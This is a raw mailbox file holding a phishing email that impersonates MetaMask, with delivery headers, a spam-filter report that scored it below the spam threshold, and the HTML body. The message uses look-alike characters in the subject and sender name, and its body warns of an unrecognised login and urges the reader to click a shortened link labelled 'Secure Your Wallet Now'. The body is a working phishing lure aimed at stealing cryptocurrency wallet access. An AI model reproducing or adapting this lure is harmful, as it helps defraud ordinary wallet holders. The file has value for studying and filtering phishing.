File: /home/edtir/mail/.info@metal-sanat_com/new/1753080493.M149779P26939.starfruit.7ho.st,S=6590,W=6712
Return-Path: <postmaster@fcae1051b5.nxcli.io>
Delivered-To: info@metal-sanat.com
Received: from starfruit.7ho.st
by starfruit.7ho.st with LMTP
id SFsnCK3ifWg7aQAAeMCD9A
(envelope-from <postmaster@fcae1051b5.nxcli.io>)
for <info@metal-sanat.com>; Mon, 21 Jul 2025 10:18:13 +0330
Return-path: <postmaster@fcae1051b5.nxcli.io>
Envelope-to: info@metal-sanat.com
Delivery-date: Mon, 21 Jul 2025 10:18:13 +0330
Received: from cloudhost-1457425.us-midwest-1.nxcli.net ([8.29.157.202]:62758)
by starfruit.7ho.st with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.96.2)
(envelope-from <postmaster@fcae1051b5.nxcli.io>)
id 1udkJl-0007Ee-2E
for info@metal-sanat.com;
Mon, 21 Jul 2025 10:18:13 +0330
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=fcae1051b5.nxcli.io;
b=CHYRaEtAwTAz39B72+N6+2PXGSLGx8ILfEMfUrekUP0xKFaA7aUY+cOBn3G4Mb7OfYW7+81Lps/w0KkyDxwV+FCIhaARppxf5Ex5W18C/roOUIiARwR4FrQ3p47Ivib8qCPWKXBKR+mHDwY5opKVv7mMZl07GHJ96q29BoEzKNWNqxhuA8bAC74paCRqD1ZrcvQlv/77XNXnHrrZD8MEqXVjYmF1f2kyLTyuLz+qHZ83LUWwmBaN5gKITzQtogBhgj5m7EOgwNTA3ws0z1WOaTu+CCdpa05wLWNqhLvvJ1wCjwbKIOaoilGaR4/RqrBW5z571gSQeYD1Ptu09v0u5w==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=fcae1051b5.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=SyaMM0LQTMga29lkvG
K74//KSK8=; b=KZLI/AMi2IJzLl+H5V+0PrlsLgUYeRLyZito9T/agCPAz4dyWy
CRUr0K3KjYWG9tYXMTvicTS8tytny/XwO7/tvN5fQA8a4CFXt7vbJ75b1lsNnpIq
hFjrupyVpgvHAWM+KRGfhbu0RNkiKfApgBr7jqYGg5waXJ0eQQTpm8PDCigd+a5h
sHiRY9BmCj/XkS18eUw0kHFZVuIl2tEQvwINq5tvqE9Mgps/YBowLyhcEHbLAChn
i+V1DB2lFPkFewTJ/KpkuiueODrhABOOedjGrz4vttEUsNORJqa7EwOqVynNoCfX
vNZkxjtc9xLjnhsZBnFx5CJgiRV4Qp4PBjzg==
Received: (qmail 24922 invoked by uid 10242); 21 Jul 2025 06:43:38 +0000
Date: 21 Jul 2025 06:43:38 +0000
Message-ID: <20250721064338.24910.qmail@cloudhost-1457425.us-midwest-1.nxcli.net>
To: info@metal-sanat.com
Subject: Wаllet Login Attempt – Vеrification Needed
X-PHP-Originating-Script: 10242:you.php
From: "MetаMаsk" <f6b739jk@zpa.io>
Reply-To: f6b739jk@zpa.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@f6b739jk@zpa.io>
X-Spam-Status: No, score=3.7
X-Spam-Score: 37
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system "starfruit.7ho.st",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Account Access Alert 🦊 Account Access Alert We’ve noticed
a login from a device or location we don’t recognize. For your security,
please review this activity.
Content analysis details: (3.7 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.157.202 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.157.202 listed in sa-trusted.bondedsender.org]
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
3.2 FUZZY_WALLET BODY: Obfuscated "Wallet"
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
X-Spam-Flag: NO
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8" />
<title>Account Access Alert</title>
</head>
<body style="margin:0; padding:20px; font-family:Arial, sans-serif; background:#f9fafb; color:#222222;">
<table role="presentation" width="100%" cellpadding="0" cellspacing="0" style="max-width:540px; margin: auto; background:#ffffff; border:1px solid #ddd; border-radius:8px;">
<tr>
<td style="padding: 28px; text-align:center;">
<span style="font-size:32px; display:block; line-height:1;">🦊</span>
<h1 style="color:#f6851b; font-weight:600; margin:16px 0 24px; font-size:22px;">Account Access Alert</h1>
<p style="font-size:16px; line-height:1.5; margin:0 0 22px;">
We’ve noticed a login from a device or location we don’t recognize. For your security, please review this activity.
</p>
<table role="presentation" cellpadding="0" cellspacing="0" style="margin: 24px auto 16px;">
<tr>
<td align="center" bgcolor="#f6851b" style="border-radius:6px;">
<a href="https://t.co/XbPNMlFnE5?id=-4181450358430379470-1519" target="_blank" rel="noopener noreferrer" style="font-size:16px; color:#fff; text-decoration:none; padding: 14px 40px; display:inline-block; font-weight:700; font-family:Arial, sans-serif; letter-spacing: 0.03em; user-select:none;">
​Secure Your Wallet Now​
</a>
</td>
</tr>
</table>
<p style="font-size:13px; color:#888; margin-top:20px; font-style:italic;">
If this was you, you don’t need to do anything further. Thank you for helping us keep your account safe.
</p>
<p style="font-size:12px; color:#bbb; margin-top:40px; user-select:none;">
— MetaMask Security Team
</p>
</td>
</tr>
</table>
</body>
</html>